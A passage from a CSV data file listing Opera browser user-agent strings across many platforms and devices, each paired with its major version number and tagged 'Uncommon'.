developer)\",40,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.10,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2130.75\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36 OPR/31.0.1889.174\",31,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.635\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\",47,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.35\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36 OPR/30.0.1835.59\",30,Uncommon\nOpera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.50,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47\",49,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Uncommon\nOpera/9.80 (Windows NT 6.0; U; en) Presto/2.8.99 Version/11.10,11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 OPR/34.0.2036.25\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.64\",52,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 OPR/34.0.2036.50\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.39.24.3 (DIGIHOME, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\nOpera/9.80 (X11; FreeBSD 8.1-RELEASE i386; Edition Next) Presto/2.12.388 Version/12.10,12,Uncommon\nOpera/9.80 (X11; Linux zvav; U; fi) Presto/2.12.423 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71\",47,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; Edition Campaign 21) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.58\",50,Uncommon\nOpera/9.01 (Windows NT 5.1; U; en),9,Uncommon\nOpera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\",32,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; en) Presto/2.10.229 Version/11.64,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36 OPR/37.0.2178.54\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 OPR/40.0.2308.81\",40,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69\",41,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.0.2; XT1068 Build/LXB22.46-28) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.81 Mobile Safari/537.36 OPR/28.0.1764.90386\",28,Uncommon\nOpera/9.80 (Windows NT 6.1; U; ru) Presto/2.9.168 Version/11.50,11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB95/3.6.3.J (HITACHI, Si2157LG32, wireless)\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36 OPR/38.0.2220.29\",38,Uncommon\nOpera/9.80 (Linux armv6l; U; (SonyBDP/BDV11); en) Presto/2.8.115 Version/11.10,11,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991\",43,Uncommon\nOpera/7.50 (Windows XP; U),7,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36 OPR/30.0.1835.125\",30,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\nOpera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.14,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 OPR/42.0.2393.85\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.69 Safari/537.36 OPR/17.0.1241.45\",17,Uncommon\nOpera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1,9,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Safari/537.36 OPR/42.7.2246.114996\",42.7,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Uncommon\n\"Mozilla/5.0 (undefined) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36 OPR/37.0.2178.43\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\",40,Uncommon\nOpera/9.80 (X11; Linux x86_64) Presto/2.12.388 Version/12.14,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31\",38,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1449\",44,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.39.24.3 (JVC, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.57\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2130.46\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36 OPR/45.0.2552.812\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1218\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.898\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 OPR/16.0.1196.73\",16,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36 OPR/41.0.2353.56\",41,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.43\",39,Uncommon\nOpera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.17,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36 OPR/46.0.2597.46\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36 OPR/15.0.1147.148\",15,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36 OPR/37.0.2178.32\",37,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.137\",42,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36 OPR/33.0.1990.58\",33,Uncommon\nOpera/12.02 (Android 4.1; Linux; Opera Mobi/ADR-1111101157; U; en-US) Presto/2.9.201 Version/12.02,12,Uncommon\nOpera/9.50 (Nintendo DSi; Opera/507; U; en-GB),9,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 OPR/34.0.2036.50\",34,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.82\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\",47,Uncommon\nOpera/9.0 (Windows NT 5.1; U; en),9,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto/2.9.168 Version/11.52,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.76 Safari/537.36 OPR/28.0.1750.40 (Edition Yx 01)\",28,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 OPR/46.0.2597.32\",46,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 OPR/36.0.2130.75\",36,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.1144\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 OPR/42.0.2393.94\",42,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.58 Safari/537.31 OPR/14.0.1074.57768\",14,Uncommon\nOpera/9.80 (Windows NT 6.2; WOW64; U; cs) Presto/2.10.229 Version/11.62,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.94 Safari/537.36 OPR/27.0.1689.66 (Edition RMV)\",27,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41\",38,Uncommon\nOpera/9.80 (Windows NT 6.2) Presto/2.12.388 Version/12.14,12,Uncommon\nOpera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.65\",36,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; A37fw Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.110129\",37,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36 OPR/38.0.2220.31\",38,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.5 (JVC, Mxl661LG32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54 [en],7,Uncommon\nOpera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02,12,Uncommon\nOpera/9.80 (X11; Linux zvav; U; ro) Presto/2.12.423 Version/12.16,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64\",49,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36 OPR/50.0.2762.45\",50,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.39\",49,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.3; NokiaX2DS Build/JLS36C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.138 Mobile Safari/537.36 OPR/22.0.1485.80265\",22,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36 OPR/41.0.2353.56\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.20 Safari/537.36  OPR/15.0.1147.18 (Edition Next)\",15,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60\",26,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 OPR/16.0.1196.62\",16,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36 OPR/44.0.2510.857 (Edition Yx)\",44,Uncommon\nOpera/9.80 (X11; Linux zvav; U; sv) Presto/2.8.119 Version/11.10,11,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36 OPR/52.0.2871.30\",52,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2471.2 Safari/537.36 OPR/33.0.1967.0 (Edition developer)\",33,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 OPR/50.0.2762.67\",50,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36 OPR/41.0.2353.46\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Uncommon\nOpera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00,10,Uncommon\nOpera/9.80 (Windows NT 6.1; U; en) Presto/2.9.168 Version/11.52,11,Uncommon\nOpera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.10,10,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.168 Safari/537.36 OPR/51.0.2830.40\",51,Uncommon\nOpera/9.80 (X11; Linux zvav; U; hu) Presto/2.8.119 Version/11.10,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 OPR/16.0.1196.73\",16,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/25.0.1614.71\",25,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.25\",32,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 OPR/32.0.1948.19 (Edition beta)\",32,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Safari/537.36 OPR/20.0.1396.73172\",20,Uncommon\nOpera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.15,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36 OPR/28.0.1750.48\",28,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; pt) Presto/2.10.229 Version/11.62,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 OPR/47.0.2631.55\",47,Uncommon\n\"Mozilla/5.0 (Linux; BRAVIA 4K 2015 Build/LMY48E.S265) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36 OPR/28.0.1754.0 OMI/4.4.22.20.E102586-1.136\",28,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36 OPR/35.0.2066.82\",35,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.50\",48,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 OPR/51.0.2830.34\",51,Uncommon\nOpera/9.80 (Windows NT 6.1; U; Edition Indonesian Local; en) Presto/2.10.289 Version/12.02,12,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.4.2; RCT6773W22 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.166 Safari/537.36 OPR/20.0.1396.73172\",20,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36 OPR/40.0.2308.62\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36 OPR/51.0.2830.55\",51,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36 OPR/36.0.2130.65\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48\",39,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2832.2 Safari/537.36 OPR/41.0.2349.0 (Edition developer)\",41,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.881\",45,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36 OPR/15.0.1147.153\",15,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36 OPR/43.0.2442.806\",43,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\nMozilla/4.0 (compatible; MSIE 5.0; Windows 95) Opera 6.01  [en],6,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 OPR/23.0.1522.77 (Edition Campaign 16)\",23,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.71\",47,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; Edition Campaign 21) Presto/2.12.388 Version/12.15,12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36 OPR/27.0.1689.54 (Edition FCR)\",27,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X 10.6.8) Presto/2.12.388 Version/12.12,12,Uncommon\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 OPR/36.0.2130.32\",36,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.52 Safari/537.36 OPR/31.0.1889.50 (Edition beta)\",31,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 OPR/33.0.1990.43\",33,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 OPR/40.0.2308.90\",40,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) 